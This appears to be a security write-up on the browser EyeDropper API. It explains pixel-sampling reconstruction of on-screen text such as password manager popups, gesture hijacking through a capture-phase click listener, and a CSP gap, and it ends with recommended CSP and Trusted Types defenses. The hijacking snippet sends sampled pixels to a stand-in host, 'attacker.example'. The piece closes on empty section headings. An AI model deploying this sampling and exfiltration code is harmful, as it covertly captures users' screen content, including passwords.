MCP server EyeDropper API security — pixel sampling screen reconstruction, gesture hijacking, and CSP gap

EyeDropper API: full-screen pixel access, one sample at a time

EyeDropper.open() presents a browser-native color-picking cursor. The picker is not restricted to the browser window — it operates across the full OS display, including other applications, system UI, and other browser tabs. Each call returns one sRGB hex string representing the clicked pixel's color.

// Basic EyeDropper — requires a user gesture (transient activation) to open
const eyeDropper = new EyeDropper();

document.getElementById('pick-btn').addEventListener('click', async () => {
  try {
    const result = await eyeDropper.open();
    // result: { sRGBHex: "#1a2b3c" }
    // 24 bits of color information per click, anywhere on the display
    console.log('Sampled:', result.sRGBHex);
  } catch (err) {
    // User pressed Escape — AbortError thrown
    if (err.name !== 'AbortError') throw err;
  }
});

Pixel sampling for screen content reconstruction

Dark text on a light background (the dominant rendering pattern) encodes character shapes in pixel darkness. By sampling pixels at known coordinates with sufficient density, an attacker can recover text from fixed-position UI elements — particularly browser extension popups and system-level password prompts that appear at predictable screen positions.

// ATTACK CONCEPT: reconstruct text from pixel samples
// Each character cell is typically 8–12px wide; dark pixels = character ink

function hexToLuminance(hex) {
  // Parse #rrggbb and compute perceived lightness
  const r = parseInt(hex.slice(1, 3), 16) / 255;
  const g = parseInt(hex.slice(3, 5), 16) / 255;
  const b = parseInt(hex.slice(5, 7), 16) / 255;
  return 0.2126 * r + 0.7152 * g + 0.0722 * b;
}

// Build a pixel bitmap of a target region
// (gesture hijacking in the next section makes repeated sampling practical)
async function buildBitmap(samples) {
  // samples: [{ x, y, sRGBHex }, ...]
  // Convert to binary: dark pixel (luminance < 0.5) = 1 (ink), else 0
  return samples.map(s => ({
    x: s.x, y: s.y,
    ink: hexToLuminance(s.sRGBHex) < 0.5 ? 1 : 0
  }));
}

// Target: password manager extension popup at screen position (1200, 50)
// Typical autofill field: 200px wide, 24px tall, 12pt font
// ~500 samples at 2px step fully reconstructs the rendered glyphs
// OCR on the ink bitmap recovers the password text

Gesture hijacking via capture-phase click listener

The EyeDropper requires a user gesture — specifically, transient activation from a click or keydown — to call .open(). An injected script bypasses this by registering a capture-phase event listener that fires before the browser clears transient activation from the user's own click. The user's click event becomes the gesture for the attacker's EyeDropper.open() call.

// ATTACK: capture-phase gesture hijacking
// The user clicks something on the page; the capture-phase listener
// intercepts their transient activation and opens EyeDropper instead.

document.addEventListener('click', async (event) => {
  // useCapture = true: fires before bubble-phase handlers on the target
  // The click event is in progress — transient activation is valid here
  try {
    const picker = new EyeDropper();
    // .open() called synchronously in the same task as the user click
    const sample = await picker.open();
    // User now clicks anywhere on screen (or another application)
    // to provide the pixel sample — they see their normal cursor
    await fetch('https://attacker.example/sample', {
      method: 'POST',
      body: JSON.stringify({
        hex: sample.sRGBHex,
        originX: event.screenX,
        originY: event.screenY,
        ts: Date.now()
      }),
      keepalive: true
    });
  } catch (e) {
    // AbortError: user pressed Escape — silently continue
    // User's original click still fires on bubbling phase
  }
}, true /* capture = true */);

// Effect: every user click is silently consumed as an EyeDropper gesture.
// Over dozens of clicks in a session, the attacker accumulates pixels
// from wherever the user clicked — including outside the browser.

The CSP gap: no directive restricts EyeDropper

As of 2026, the Content Security Policy specification includes no directive that controls EyeDropper usage. The script-src directive restricts which scripts can execute — preventing the injected script that calls EyeDropper — but a script already running in the page (via XSS, compromised CDN, or malicious npm dependency) can call EyeDropper.open() without any CSP violation being reported.

// CSP header that does NOT prevent EyeDropper in an already-executing script:
// Content-Security-Policy:
//   default-src 'self';
//   script-src 'self' 'nonce-abc123';
//   connect-src 'self';

// A script running via an allowed nonce or inline eval bypass can still do:
const result = await new EyeDropper().open();  // No CSP violation

// Compare with screen capture APIs — getDisplayMedia() and getViewportMedia()
// are blockable via:
// Permissions-Policy: display-capture=()   ← blocks getDisplayMedia
// Permissions-Policy: window-management=() ← blocks window.getScreenDetails
//
// But there is no equivalent:
// Permissions-Policy: eye-dropper=()       ← DOES NOT EXIST in spec (as of 2026)

// The only reliable defenses:
// 1. strict script-src with nonces/hashes (prevents injection)
// 2. Trusted Types (prevents DOM XSS injection vectors)
// 3. Sandbox tool output in cross-origin iframes (prevents access to main page)

The implication is that EyeDropper cannot be defended in isolation — you cannot add a single HTTP header to block it after an injection occurs. The defense is preventing injection entirely, which requires a strict CSP combined with Trusted Types to close DOM XSS vectors.

// DEFENSE: strict CSP + Trusted Types eliminates the injection vector
// HTTP headers:
// Content-Security-Policy:
//   script-src 'nonce-{random}';
//   require-trusted-types-for 'script';
//   trusted-types default;
//   connect-src 'self' https://api.example.com;

// Application code must use a Trusted Types policy for any DOM writes:
const policy = trustedTypes.createPolicy('default', {
  createHTML: (input) => {
    // Sanitize — DOMPurify or equivalent
    return DOMPurify.sanitize(input);
  }
});

// Any innerHTML assignment with a raw string now throws:
// element.innerHTML = userString;       // TypeError — Trusted Types violation
element.innerHTML = policy.createHTML(userString);  // Safe

// With no way to inject a script, EyeDropper cannot be called by tool output.

EyeDropper security — risk comparison

SkillAudit findings for the EyeDropper API